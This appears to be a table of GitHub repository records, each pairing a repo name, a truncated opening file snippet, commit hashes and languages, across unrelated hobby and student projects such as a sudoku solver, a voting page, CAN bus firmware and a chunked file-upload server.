refs/heads/master | <file_sep>window.onload = inicializar;
var refPresidentes;
function inicializar(){
// Me devuelve un array con todos los elementos que sean de la clase candidato
imagenesDeCandidatos = document.getElementsByClassName("candidato");
//ejecutar numVotos
for (var i = 0; i < imagenesDeCandidatos.lengt... | 697ee55008678fa9007ddffb38c29f2de262c9c5 | [
"JavaScript",
"Markdown"
] | 2 | JavaScript | cnahuina/demoD3js | 5acbc1168e90e66fa641ab5b0b4f723f1f400d11 | 42958066f482e3642587e661d2e0bc41528fad32 |
refs/heads/master | <file_sep># Mezzo Model Builder
[](https://github.com/MezzoLabs/ModelBuilder/blob/master/package.json)
[](https://github.com/MezzoLabs/ModelBuilder/bl... | 9ccd2f281e68f291df5dbc1fe986bb54e30018fc | [
"Markdown",
"JavaScript"
] | 5 | Markdown | MezzoLabs/ModelBuilderAngular | 7ca3eacb47094ba2128b4cee66ff649954679524 | d8241d5044ce100bccf2e876f71c19db68698749 |
refs/heads/master | <file_sep># encoding:utf8
from tools import get_db, get_redis
import threading
import json
def main():
db = get_db()
r = get_redis()
albums = db.album.find()
for album in albums:
del album['_id']
r.lpush('albums:data', json.dumps(album))
print album
print 'OK'
if __nam... | e5bb455164399c62e33fcc4dfa6dcf563e5e5771 | [
"Python"
] | 10 | Python | wushaojun321/wangyiyunSpider | 2e1fa17e4700bbc3288d25f4d568ffa32361b7fe | befacaefb80fe36db85e0ea4b5fc165b0ee8b42e |
refs/heads/master | <repo_name>kayex/portaln-chat<file_sep>/build/message.js
// Generated by CoffeeScript 1.6.1
(function() {
var MessageSerializer;
MessageSerializer = (function() {
function MessageSerializer() {}
MessageSerializer.serialize = function(messageObject) {
var content, fromUser, serialized, timeStamp, to... | 9ced6c993ceb2f54b9ebdb341c7371f913b93f5e | [
"JavaScript",
"Markdown"
] | 5 | JavaScript | kayex/portaln-chat | 0458ed3207b1f93a92ef4d405a29dec4668cd7d6 | c5cf4195ef53db638f5cb8387dbf923f29795886 |
refs/heads/main | <file_sep>const title = document.querySelectorAll("h1"),
dateTitle = title[0],
clockTitle = title[1];
function getDate(){
const date = new Date();
const year = date.getFullYear();
const month = date.getMonth() + 1;
const day = date.getDate();
dateTitle.innerText = `
${year}년 ${month}월 ${day}일`;... | f41a0893c1c89e3405c8d4537368b0c081ea6d54 | [
"JavaScript"
] | 2 | JavaScript | LeeJiHey/todoList | 1e740035965ca3ebb712e74293e5f094cc3f9f60 | 491bcae1ad655eec096ba5a2c778bf1d1e35449d |
refs/heads/master | <repo_name>fitodac/TWWF<file_sep>/wp-content/themes/TWWF/lib/plugins/megamenu-1.3.1/js/theme-editor.js
/*global console,ajaxurl,$,jQuery*/
/**
*
*/
jQuery(function ($) {
"use strict";
$("input[type=range]").on('input change', function() {
console.log($(this).val());
$(this).next('.pixel_valu... | a2d794ed14942e937309aba936b9ac39c26c34e7 | [
"JavaScript",
"PHP"
] | 58 | JavaScript | fitodac/TWWF | 29069b05462551998184304fc638f4e94e2f3b3f | 2971767b6e4b3c74de0d836c077a336ec2ad7ff6 |
refs/heads/master | <repo_name>balambuc/DiMat2<file_sep>/pruefer/main.cpp
#include <iostream>
#include <vector>
#include <stdlib.h>
using namespace std;
typedef struct {
vector<int> kezd;
vector<int> veg;
vector<int> deg;
} graf;
void oda (graf &g, int n);
void vissza (vector<int> &v);
int legkisebbNemElem (ve... | 5e55c77cee0d2784cffacf471dfe390589e886ae | [
"C++"
] | 2 | C++ | balambuc/DiMat2 | 2c833ab113b5a599b2f2ae6186cbfa5df4e54fe2 | a6abd92339a5d29403f482d02bc7f3fa2978cfc2 |
refs/heads/master | <repo_name>TACHAI/learnlucence<file_sep>/src/main/java/com/laishishui/learnlucence/controller/SearchController.java
package com.laishishui.learnlucence.controller;
import com.laishishui.learnlucence.dao.BaikeMapper;
import com.laishishui.learnlucence.po.Baike;
import com.laishishui.learnlucence.service.impl.SearchServ... | 7164c83e193442f92442596aac0d25efa648d5d8 | [
"Java",
"INI"
] | 4 | Java | TACHAI/learnlucence | 460c49c44bb942bbc1d7c2daa4573e29a5a9e1a4 | 7798088b891c4145569a3f5c3a37afd181d9d233 |
refs/heads/master | <repo_name>godofnoobs/additional_7<file_sep>/src/index.js
var dim = 9;
var reference = [1, 2, 3, 4, 5, 6, 7, 8, 9];
var def = [1, 1, 1, 1, 1, 1, 1, 1, 1];
/*
var initial = [[5, 3, 4, 6, 7, 8, 9, 0, 0],
[6, 7, 2, 1, 9, 5, 3, 4, 8],
[1, 9, 8, 3, 4, 2, 5, 6, 7],
[8, 5, 9, 7, 6, 1, 4, 2, 3],
[4, 2, 6, 8, 5... | 4594335f412eb530da050839ee94a228ca457995 | [
"JavaScript"
] | 2 | JavaScript | godofnoobs/additional_7 | 5b3577e80f72124e87dfdbbfe2ccc215f928c677 | 6c78df6dd7ac217385f097384a5129b3df95f5f3 |
refs/heads/master | <file_sep>/*
* Authors: <NAME>, Serge
* Date: June 4, 2014
* Assigment: OOP Final Project- Digital Store
* Desription: User class with appropriate attribtutes and methods
*/
package project;
public class User{
private String username;
private String name;
private String email;
private String password;
priv... | dd0343aa01c2b613dd65c6f52b3f65acf411ac20 | [
"Java"
] | 4 | Java | Guardians-of-the-Galaxy/Planet-Terra | 215b87b429800616746ca162f0a26d043e254082 | e11ec67a01779c8958f15ed9f96496f8c5acf299 |
refs/heads/master | <repo_name>cherihan/ot-sims-2011<file_sep>/src_php/sprint 1/list.php
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<title>Co-voiturage</title>
</head>
<body>
<header>
<h1>Liste des trajets</h1>
</header>
<section>
<table>
<tr>
<th>#ID</th>
... | 969f30a2a5adcf0296e735e76b3bc7b39b7f22e9 | [
"Java",
"SQL",
"PHP"
] | 28 | PHP | cherihan/ot-sims-2011 | 67f0d60ef9cc582be91a9893851658549bd1c349 | 930ad438615267822a9facc0f6368a835bddbc71 |
refs/heads/master | <repo_name>bedrock17/tensor_test<file_sep>/04 - Neural Network Basic/myImageLoader.py
from PIL import Image
import numpy as np
def loadImageArray(filePath :str):
img = Image.open(filePath)
d = img.getdata()
d = np.array(d)
lst = []
for i in d:
t = 0
if i[0] > 128:
t = ... | b099c7cb1ed49718a075edf8f76f0a0a591b5542 | [
"Python"
] | 2 | Python | bedrock17/tensor_test | 4cb5ebb4cf70b695e5c36d5bebd4ea7d7dfe304a | d85e77aa1b5822ab74b5e6d9e0bcc00c4ed450f6 |
refs/heads/master | <repo_name>luigi2001/vue-todolist<file_sep>/js/script.js
const app = new Vue(
{
el: '#app',
data:{
nuovoTodo:'',
todos:[
'fare i compiti',
'andare al mare',
'fare la spesa',
'guardare un film'
]
... | 0efd36f1a444ea6a154dafc1eaa82e4b29589d42 | [
"JavaScript"
] | 1 | JavaScript | luigi2001/vue-todolist | e2e8da2ed5b6bca7ea1b7500439f96c8b8fc3616 | aa0d6ee1a87142ef2da6ac80f031bb1946986418 |
refs/heads/master | <file_sep>var protocol;
var PhoneNumber;
var fromValue;
var PhoneArea;
var wait=60;
var userToken
$(document).ready(function(){
var Language = getCookie("Language");
$("header").load("lib/header/header.html",function(){
if (Language) {
$("body").cloudLang({lang: Language, file: "lib/la... | 77edf52b967b58525fbf5560768c3c95ac15d812 | [
"JavaScript"
] | 10 | JavaScript | AfterStories/ATWeb2 | c89f73f3afa9df24ee29f016dfd993c723d1c462 | d4fa6c2ae18db7aac8b648d05e974ba9a44339ec |
refs/heads/main | <repo_name>charan1610/offline-loan-application<file_sep>/Controllers/customer.js
// import models file
var customer_model = require('../Models/customer');
// import nodemailer
var nodemailer=require('../node_modules/nodemailer');
// import /Utils/universalFunctions.
var universal_Fun = require('../Utils/universalFunc... | 9be6e37bfe2db6879533db39cbe1217dcc46f688 | [
"JavaScript"
] | 9 | JavaScript | charan1610/offline-loan-application | 30ab9e5f40cda9ee57af5f79201c93da187860cf | f7bbe9d32d86336f260ee445e589b20143a2268b |
refs/heads/master | <file_sep>package io.abdullahimran.repository;
import org.springframework.data.mongodb.repository.MongoRepository;
import org.springframework.stereotype.Repository;
import io.abdullahimran.model.Person;
@Repository
public interface PersonRepository extends MongoRepository<Person, String> {
public Person findByFir... | 16b908d76562f6ee4fb4231e2d42742bd549090f | [
"Java"
] | 2 | Java | abdullahimran007/Spring-Boot-Mongo-Db-REST | ce21de56ea5ffbad0f0aa353c1f273009c0b539b | e81924f4108dc70152e0214db7e08aa49ec488b5 |
refs/heads/master | <repo_name>GITHZZ/SenchaArchitect-Demo<file_sep>/userPost.php
<?php
$mysql_server_name='127.0.0.1';
$mysql_username='root';
$mysql_password='';
$mysql_database='bizapp';//你自己的数据库名字
$con = mysql_connect($mysql_server_name,$mysql_username,$mysql_password,$mysql_database);
if(!$con){
die('Could not connect:'.mysql... | f72cdf85518c41f7ba9b0e57cf9cce552c3ed0fe | [
"JavaScript",
"PHP"
] | 2 | PHP | GITHZZ/SenchaArchitect-Demo | da691253b50633848ef1aa2a6982d6c71d6f49bd | 81c9a2f7387ce884349bce61015e72c47ca84cc3 |
refs/heads/main | <file_sep>#include "embARC_toolchain.h"
#include "embARC_error.h"
#include "embARC.h"
#include "embARC_debug.h"
#include "arc_exception.h"
#include "can.h"
#include "can_bus_config.h"
#include "can_dll.h"
#define CAN_DLL_HEADER0(id, xtd, esi) (\
((id) & 0xfffffff) | (((xtd) & 0x1) << 30) |\
(((esi) & 0x1) << 31)... | b5f6894ee7d4fd3f8598769fa5a03bf314312469 | [
"Markdown",
"Makefile",
"Python",
"Text",
"C",
"C++"
] | 317 | C | twinklecc/radar_sensor_firmware | 30a135f99147bdfa43c2f45311caf7b7d73d71e7 | 8f171f7589726f6aa74acda3230c3f400580dcd7 |
refs/heads/main | <file_sep>let nomes = ['Camila','Henrique', 'Arthur', 'Júlia'];
let nome = document.querySelector('#nome');
let setinha = document.querySelector('#setinha');
let posicao = 0;
let imagens = ['imgs/camila.jpg', 'imgs/henrique.jpg', 'imgs/arthur.jpg', 'imgs/julia.jpg'];
let descricoes = ['Aluna fofinha, calma para a ... | 7f22474d297e99ac75e320098ac3a52815b63b61 | [
"JavaScript",
"HTML"
] | 3 | JavaScript | arthuuumoura/Pokewiki | 0091ab241bbbbc8ad8ac6fdc7b40b7e407a7e9a2 | 7144e287a121554139c0fbe650edbc65e28da63f |
refs/heads/master | <file_sep>package com.ote.mandate.business.command.api;
import com.ote.common.cqrs.ICommand;
import com.ote.common.cqrs.IEvent;
import com.ote.mandate.business.command.spi.IEventRepository;
import reactor.core.publisher.Mono;
import reactor.util.function.Tuple2;
import reactor.util.function.Tuples;
import java.util.L... | 029cf03d459e7492be9380dd4e53c8436c8594a8 | [
"YAML",
"Markdown",
"INI",
"Java",
"Dockerfile"
] | 31 | Java | oterrien-CQRS/contract-service | 198d993317d102630ea9c9864cc8ad76e0c11e61 | f041e058a2ef8954b44cacc64c2b75c849b30b05 |
refs/heads/master | <file_sep>// This is where you build your AI for the Chess game.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace Joueur.cs.Games.Chess
{
/// <summary>
/// This is where you build your AI for the Chess game.
/// </summary>
class AI : BaseAI
{
... | 0e9c7e4825ebf88a5a5758d260bdfa9d8e6f28d5 | [
"C#"
] | 10 | C# | Harrichael/waffle-chess-ai | ac863849e8483e881331539a72bb3e85e6201398 | bef52afa4a3404d462801e9632fcb8cbc98b3713 |
refs/heads/master | <repo_name>leighbiz/optimizewp<file_sep>/functions.php
<?php
require_once get_template_directory() . '/lib/init.php';
add_filter( 'genesis_disable_microdata', '__return_true' );
add_filter( 'nav_menu_item_id', '__return_null' );
remove_action( 'genesis_meta', 'genesis_load_stylesheet' );
remove_action( 'genesis_si... | 07e212a556c7a6f58851a04ddf25cd34ebdadaf9 | [
"PHP"
] | 1 | PHP | leighbiz/optimizewp | 099b070938a413ddc3bd62c5c740a5e41d60d8d3 | e783880951ed59a47344e16e92c962526a0c0f76 |
refs/heads/master | <repo_name>albertaparicio/Deep-Audio-Visual-Convolutional-Network<file_sep>/README.md
# Deep Audio-Visual Convolutional Network
This is a Tensorflow implementation of our proposed deep audio-visual convolutional neural network for targeted advertisement in broadcast TV.
This model is used for commercial detection, cat... | 3a83df01ae5cf96f32ec26e5a4894b6a26165eea | [
"Markdown",
"Python"
] | 4 | Markdown | albertaparicio/Deep-Audio-Visual-Convolutional-Network | 53894389082b76ce86d4b4b2a9f35100dfb284d5 | f8cd6f68ae0d3d3b53ea023a8e8e9ace9886f9a1 |
refs/heads/master | <repo_name>lexyblazy/file-metadata-microservice<file_sep>/README.md
# file-metadata-microservice
Freecodecamp file metada microservice
<file_sep>/app.js
const express = require('express');
const app = express();
const multer = require('multer');
const path = require('path');
const viewsPath = path.join(__dirname,'views... | af4486e5838953bd3e53d58d7c0edf80e6d48c7e | [
"Markdown",
"JavaScript"
] | 2 | Markdown | lexyblazy/file-metadata-microservice | 64c91a785076bcb29d33e35201a9208fe449ed24 | fd826f3aa253b94ae1687fcc7579bc139d904ab6 |
refs/heads/main | <repo_name>riccardorolla/file2base64<file_sep>/src/main/java/it/radcrawler/file2base64/File2Base64.java
package it.radcrawler.file2base64;
import java.io.File;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.logging.Level;
import java.util.logging.Logger;
import org.apache.commo... | 619a50b6cfc1d8e3fed8e6221daae05ee5fc58f9 | [
"Java"
] | 1 | Java | riccardorolla/file2base64 | b5306b16af4e36b398480d9655cfad2520bec6bd | 624a94642a98729150af630d47fdac92fac3d725 |
refs/heads/master | <repo_name>Women-Who-Code-Mumbai/InterviewPrep<file_sep>/SetIntersection/sets.js
/*
* Given a two dimensional array, find the set intersection of all the sub arrays
*/
let input = [
[1, 2, 8, 9],
[2, 4],
[8, 2],
[1, 7, 2]
];
// Find the index of the sub array containing the least number of elements
const fi... | 0e21cdd10558ec39a6bc7f63bfeb2d554fb0989d | [
"JavaScript",
"Markdown"
] | 2 | JavaScript | Women-Who-Code-Mumbai/InterviewPrep | 4bf19e82a6cf1eefd3bf7dcfa3b450931e480729 | cb1018898cba4f9bb05aba5e882bcded97de38f7 |
refs/heads/master | <repo_name>tanlangtao/allGameApp<file_sep>/assets/common/script/hall/hallScene.js
/*
* @Author: burt
* @Date: 2019-07-27 14:58:41
* @LastEditors: burt
* @LastEditTime: 2019-09-19 13:55:56
* @Description: 大厅场景
*/
let gHandler = require("gHandler");
let hqqAudioMgr = require("hqqAudioMgr");
let hallWebSocket = requ... | e21def4a42967c78626e4bd52d1782397520fbb2 | [
"JavaScript",
"Markdown"
] | 8 | JavaScript | tanlangtao/allGameApp | da77930791f7103a5e3ad5dc73fd605f77f137b2 | 4e91d8c37866f1b2cd0a66c5a12877e2f42ca95e |
refs/heads/master | <file_sep>#!/usr/bin/python
import os
from setuptools import setup, find_packages
SRC_DIR = os.path.dirname(__file__)
CHANGES_FILE = os.path.join(SRC_DIR, "CHANGES")
with open(CHANGES_FILE) as fil:
version = fil.readline().split()[0]
setup(
name="personal-info-aggregator",
description="My personal web ... | f57338fd47b4b98fc7363fad3fbacaa6954c2b15 | [
"Markdown",
"JavaScript",
"Makefile",
"Python",
"Shell"
] | 15 | Python | gurunars/api.gurunars.github.io | 5ecdadde0e413580c797ac70c26b0f64f6dd12e4 | cab3ffed01e417461044fbc45ebcdbc6c4a40648 |
refs/heads/master | <repo_name>loklaus/LeetCodeEx<file_sep>/260.Single Number III.cpp
// 260.Single Number III.cpp : 定义控制台应用程序的入口点。
//
/*
Given an array of numbers nums, in which exactly two elements appear only once and all the other elements appear exactly twice.
Find the two elements that appear only once.
For example:
Given n... | c8b7bea90f122bd3b3cd7e2c453cb0f11ac59388 | [
"Markdown",
"C++"
] | 7 | C++ | loklaus/LeetCodeEx | 1f3f46450a8ac2d6d49b54399ee9a2ab29aa8507 | 0b23115fdaca82d8fb11c48cdaf00be9ee76db5a |
refs/heads/main | <file_sep>#include<iostream>
using namespace std;
int main()
{
float x1, x2, y1, y2, e;
printf("enter x1");
scanf_s("%f", &x1);
printf("enter x2");
scanf_s("%f", &x2);
printf("enter y1");
scanf_s("%f", &y1);
printf("enter y2");
scanf_s("%f", &y2);
e = sqrt((x2 - x1) * (x2 - x1) + (y2 - y1) * (y2 - y1));
prin... | df11b60a3bd9693380fff37952c578fc6cfb695d | [
"Markdown",
"C++"
] | 2 | C++ | team9-hcmus/distance-2-point | c71f8ffb170a75bacfe0349b511031bcd1f34083 | bf03e7d949e30b8fcd3ede408cbe5d842c4e9fa7 |
refs/heads/master | <repo_name>napster9010/TP1_Labo1_UP<file_sep>/src/entities/Rueda.java
package entities;
public class Rueda {
private String color;
private float radio;
private String tipoMaterial;
public Rueda() {
this.color = "Blanco";
this.radio = 18.0f;
this.tipoMaterial = "chapa";
}
public String getColor(){
... | f518dfb49eb7e517075fca34f83c5c3fc1d1f815 | [
"Java"
] | 2 | Java | napster9010/TP1_Labo1_UP | 10f4942a777a54319a610afb0f3a89a471bf663c | 10f3f50bf1ee458bd0135af3f9ad656aa18f34f3 |
refs/heads/master | <file_sep># data-muggle
Repository that hosts analytics projects.
Predictive analytics being the science where we can get future predictions to solve world problems related to any field is something that sparked this project. This project uses world food consumption dataset that depicts various countries and their food... | e708acfd4a835a35e6316c14fe599a70994c8710 | [
"Markdown",
"Python"
] | 3 | Markdown | shubhangipatil12/data-muggle | ba6c58f25f412c78572794ab2d853fc89843ee34 | 27ed4aecc7dcfadf5d8855361579fcc5d472a06e |
refs/heads/master | <repo_name>tappmax/angular-tesla-range-calculator<file_sep>/src/app/tesla-battery/components/tesla-counter/tesla-counter.component.ts
// importing forwardRed as an extra here
import { Component, Input, ChangeDetectionStrategy, forwardRef } from '@angular/core';
// importing necessary accessors
import { ControlValueAcce... | bf13e121c51ebc5a5562617afbc538bcc0099eb1 | [
"TypeScript"
] | 1 | TypeScript | tappmax/angular-tesla-range-calculator | cd5acc10f97bbe4f739f93a5aab41de30bc9ed11 | ef5b8c5523561ffd13afd511536d6d7e438ce664 |
refs/heads/master | <repo_name>noprettyboy/pdues<file_sep>/src/js/.svn/text-base/el.telnet.js.svn-base
(function() {
var self = EL.TelnetSet = function() {
var oldtelport, oldtelstat;
var $telnet_result = $("#telnet_result");
var submitHandler = function(form) {
var telnetport, chktelVal;
telnetport = $... | 555cbc311f1d23061ed8c6b41a90ab7d2f1a717a | [
"JavaScript",
"Markdown",
"Shell"
] | 13 | JavaScript | noprettyboy/pdues | 511c5be8a9da754317f9d77f2318392b349d0eac | 3e1d9e733844437db93d73e408cc0480173964d9 |
refs/heads/master | <file_sep>//game1.cpp
#include <stdlib.h>
#include <time.h>
#include "game1.h"
using namespace std;
int main() {
srand((unsigned)time(NULL));
Game game1;
return 0;
}
Game::Game() {
float totalPercentPair = 0, totalPercentFlush = 0;
int i;
cout << "Trial\tHands\tPairs\tFlushes\t%Pairs\t%Flushes" << endl;
for(... | fea594cce2811126a2a97b3d6c68639ac2ec439d | [
"C++"
] | 2 | C++ | divyaansh/Poker-Probabilities | f427d5ed374e6c67bd37b16881830924fe7e02fc | bbaaf06b61f938606a88408a522a2f9a7de3f3ea |
refs/heads/master | <file_sep><?
if(!$currencies){
echo 'Service is unreachable now, try later!';
}else{
foreach($currencies as $cur):?>
<tr>
<th><?=$cur['valuteID']?></th>
<td><?=$cur['numCode']?></td>
<td><?=$cur['сharCode']?></td>
<td><?=$cur['name']?></td>
<td><?=$cur['value']?></td>... | cde579092ef5ce472b5be82e005a7d5729baa130 | [
"SQL",
"Text",
"PHP"
] | 9 | PHP | bolwoy97/currencies | 0252de087c6c04dfdb52462dc427f62f7a1c3663 | ea5a1dfa5d3cdad7a24ac6ee19d3be0302ce1da7 |
refs/heads/master | <repo_name>Hopsins/PornHub<file_sep>/stdplugins/kangani.py
"""Make / Download Telegram Sticker Packs without installing Third Party applications
Available Commands:
.kangsticker [Optional Emoji]
.packinfo
.getsticker"""
from telethon import events
from io import BytesIO
from PIL import Image
import asyncio
import datet... | 729c7fa3b4b357b270378113b490c52d47aa5bda | [
"Python"
] | 1 | Python | Hopsins/PornHub | eb4eed9e18bdace04a948321186804330e809ddd | 277ba3104ea4e4b5955871656558edde97f6ef4c |
refs/heads/master | <file_sep>package com.example.farwa.customcomponents.Activities;
import android.os.Bundle;
import android.os.Handler;
import android.support.v4.app.FragmentTransaction;
import android.support.v7.app.AppCompatActivity;
import android.view.View;
import android.widget.Button;
import android.widget.Toast;
import com.exam... | c6b7e6846f16ff611f3bf33d449b7214175c0608 | [
"Java"
] | 1 | Java | Fatimamostafa/Custom-Components | bd1e9b90d840539b587310892ad5023c064301d7 | 56e7701f4bf7c034490633b5b0694be4d57142e8 |
refs/heads/main | <repo_name>Deizuca/Nerdlet<file_sep>/my-test-nerdpack-nerdlet/index.js
import React from 'react';
import MapGL from 'react-map-gl';
import ReactMapGL, {Marker} from 'react-map-gl';
import MapKey from "../../env" ;
import { Grid, GridItem, AccountPicker, Table, TableHeader, TableHeaderCell, TableRow, TableRowCell} from ... | 6bb0ba53afe85aeda562b620ec7e18a5da71d9c9 | [
"JavaScript"
] | 3 | JavaScript | Deizuca/Nerdlet | e76b45b234a6786023c612b2547f53892ad32599 | 097252a37f1c31b1e12ace733ef7fa50c2b42439 |
refs/heads/master | <repo_name>littlegrayss/bigFileUpload-Demo<file_sep>/server.js
const http = require("http");
const fs = require('fs')
const fse = require("fs-extra");
const path = require("path")
const multiparty = require("multiparty");
const server = http.createServer();
const UPLOAD_DIR = path.resolve(__dirname, "./", "target");
co... | e334f8be2a80155f5df59fbe90455c5fa6f83cd8 | [
"JavaScript"
] | 1 | JavaScript | littlegrayss/bigFileUpload-Demo | 79b90390d15fe374e4d02ea8cdfc1950a0356edd | 240e67dbde54b6d96af86cadd16f8167cec19e8d |
refs/heads/master | <file_sep># Silly-Code
Just a project for silly code and interesting things I like to experiment with in my free time.
<file_sep>'''
Implementation of bogobogosort. To be familiar with this sorting algorithm, clients
must be aware of the general algorithm for the original bogosort. Bogosort to sort
a deck of cards, f... | 07592ebbc130cfc45246c73c9646dca25d051df4 | [
"Markdown",
"Python"
] | 2 | Markdown | allen12/Silly-Code | 1320f6ad0d6cdb0b81a9fb741638752bf5624a5c | f81ca9df6b2ea6c758b490acaa93a45023fe6ffe |
refs/heads/master | <file_sep>/*
* Copyright (c) 2019.
* <NAME>
* http://www.bogote.co.za
* Android App Development
*/
package co.za.bogote.mycodespace;
import android.content.Intent;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.view.View;
public class GalleryActivity extends AppCompatA... | 028ba91d496c5c12a1f46e06de7b0f0e8576026d | [
"Java"
] | 5 | Java | OpatileKelobang/MyCodeSpace | 1f1298915a959d843656ff6109b9a0040c29ab39 | c2bd3d769e4db96402e93ee0b3a9f10f91aed1cd |
refs/heads/master | <repo_name>tylerseymour/zendiscipline<file_sep>/wiki/migrations/0007_node_body.py
# Generated by Django 3.1.4 on 2021-01-19 23:15
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('wiki', '0006_rating_score'),
]
operations = [
migrations.A... | e683c5fc9f59ab6a90d4f410f280343949c90637 | [
"Markdown",
"Python",
"Text",
"Shell"
] | 23 | Python | tylerseymour/zendiscipline | 562cfb1b9f72a718c65ad546c6aa7f350766498b | ca6a4aa152b248255449967b3724d666b5a38f9f |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.